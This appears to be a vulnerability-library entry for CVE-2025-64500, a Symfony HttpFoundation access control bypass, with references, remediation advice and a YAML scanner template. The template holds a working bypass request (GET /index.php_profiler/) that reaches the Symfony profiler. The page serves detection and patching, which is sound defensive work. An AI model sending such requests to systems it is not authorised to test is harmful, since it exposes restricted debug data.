/Vulnerability Library

Symfony HttpFoundation - Access Control Bypass via PATH_INFO

CVE-2025-64500
Verified

Description

Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.

Severity

High

CVSS Score

7.3

Exploit Probability

7%

Affected Product

symfony

Published Date

April 2, 2026

Template Author

dhiyaneshdk

CVE-2025-64500.yaml
id: CVE-2025-64500

info:
  name: Symfony HttpFoundation - Access Control Bypass via PATH_INFO
  author: DhiyaneshDk
  severity: high
  description: |
    Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
  impact: |
    Attackers can bypass access control rules, potentially gaining unauthorized access to restricted resources.
  remediation: Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.
  reference:
    - https://github.com/symfony/symfony/security/advisories/GHSA-3rg7-wf37-54rm
    - https://symfony.com/blog/cve-2025-64500-incorrect-parsing-of-path-info-can-lead-to-limited-authorization-bypass
    - https://github.com/symfony/symfony/commit/9962b91b12bb791322fa73836b350836b6db7cac
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64500
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2025-64500
    cwe-id: CWE-647
    epss-score: 0.06657
    epss-percentile: 0.91323
  metadata:
    verified: true
    max-request: 2
    vendor: sensiolabs
    product: symfony
    shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
  tags: cve,cve2025,symfony,auth-bypass

http:
  - raw:
      - |
        GET /{{front_controller}}_profiler/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      front_controller:
        - "index.php"
        - "app.php"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "Symfony Profiler"
          - "<title>Profiler</title>"
          - "Symfony-Debug-Toolbar"
        condition: or
# digest: 4b0a00483046022100ec174e11f8eddef0895ae6c9293b49c69c96b0c5e684f5f5c4de3776284f3c0c022100a57793189a336c44d1fdfde472b773478ed9b986f8298eb21210dce96d8e691c:922c64590222798bb761d5b6d8e72950
7.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE ID:
cve-2025-64500
CWE ID:
cwe-647

References

https://github.com/symfony/symfony/security/advisories/GHSA-3rg7-wf37-54rmhttps://symfony.com/blog/cve-2025-64500-incorrect-parsing-of-path-info-can-lead-to-limited-authorization-bypasshttps://github.com/symfony/symfony/commit/9962b91b12bb791322fa73836b350836b6db7cachttps://nvd.nist.gov/vuln/detail/CVE-2025-64500

Remediation Steps

Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.